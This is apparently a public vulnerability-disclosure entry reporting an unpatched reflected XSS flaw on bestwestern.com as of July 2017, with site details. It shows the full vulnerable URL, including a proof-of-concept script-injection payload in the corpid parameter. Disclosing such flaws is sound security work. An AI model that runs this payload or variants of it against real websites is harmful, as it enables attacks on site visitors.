bestwestern.com XSS vulnerability

Vulnerable URL: https://www.bestwestern.com/?corpid="-alert'OPENBUGBOUNTY'-" Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 7688 VIP website status:| Yes Check bestwestern.com SSL...